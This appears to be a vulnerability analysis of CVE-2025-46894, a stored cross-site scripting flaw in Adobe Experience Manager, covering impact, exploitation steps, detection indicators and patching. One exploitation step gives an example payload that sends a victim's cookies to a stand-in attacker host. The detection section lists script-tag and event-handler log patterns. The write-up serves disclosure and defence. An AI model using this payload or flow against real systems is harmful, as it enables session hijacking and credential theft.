CVE-2025-46894: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46894 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with low privileges can submit malicious JavaScript payloads into vulnerable AEM form fields; the input is stored server-side and subsequently rendered without adequate sanitization or output encoding when other users visit the affected page. Exploitation requires user interaction — a victim must browse to the page containing the injected field — but no elevated privileges are needed beyond a basic authenticated session (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any user who visits the compromised page, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exfiltration of sensitive data accessible within the victim's session. Because the payload is stored persistently, it can affect multiple users over time without repeated attacker interaction. Confidentiality and integrity are both assessed as low-impact per the CVSS scoring, with no direct availability impact (Adobe Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation (Adobe Advisory). The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor attribution has been reported.

1. Reconnaissance: Identify an AEM instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0. Confirm the target is accessible and that user registration or low-privilege account creation is possible.
2. Authenticate: Log in to the AEM instance using a low-privileged account (e.g., a standard author or contributor account).
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS — such as a text input, rich text editor, or metadata field that lacks proper input sanitization.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save or submit the form.
5. Payload persistence: The malicious script is stored in the AEM repository and rendered to any user who subsequently visits the page containing the compromised field.
6. Victim execution: When a victim (including administrators) browses to the affected page, their browser executes the injected JavaScript, enabling session token theft, credential harvesting, or other malicious actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• Content Repository: Unexpected <script> tags or JavaScript URIs stored within AEM JCR node properties, particularly in text or metadata fields authored by low-privileged accounts.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting specific AEM pages, potentially carrying cookie or session data in query parameters.
• Browser/Proxy Logs: Requests to attacker-controlled domains originating from users' browsers after visiting AEM-hosted pages, especially those containing encoded JavaScript payloads.

Adobe has released patches addressing this vulnerability: update AEM on-premises deployments to version 6.5.23.0 or later, and AEM Cloud Service to 2025.5.0 or later (Adobe Advisory). As interim mitigations, administrators should implement strict input validation and output encoding on all user-supplied form fields, and review AEM content for any existing suspicious script injections. Restricting the ability of low-privileged users to author or edit form fields in sensitive areas can also reduce exposure until patching is complete.

The CIS (Center for Internet Security) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, flagging the potential for arbitrary code execution in the broader Adobe product suite (CIS Advisory). No significant independent researcher commentary or notable social media discussion specific to CVE-2025-46894 has been identified beyond standard vulnerability aggregator coverage.